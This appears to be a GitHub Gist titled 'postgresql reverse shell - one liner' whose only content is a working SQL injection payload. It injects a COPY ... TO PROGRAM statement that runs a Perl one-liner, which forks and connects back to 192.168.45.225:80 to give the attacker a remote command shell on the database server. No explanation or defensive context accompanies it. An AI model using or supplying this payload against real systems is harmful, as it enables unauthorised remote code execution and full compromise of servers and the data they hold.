Created
March 31, 2024 04:34
-
-
Save david-botelho-mariano/929b243eb78b833ac4264c100c24a0da to your computer and use it in GitHub Desktop.
postgresql reverse shell - one liner
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
id=1';COPY (SELECT '') TO PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.225:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; -- |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment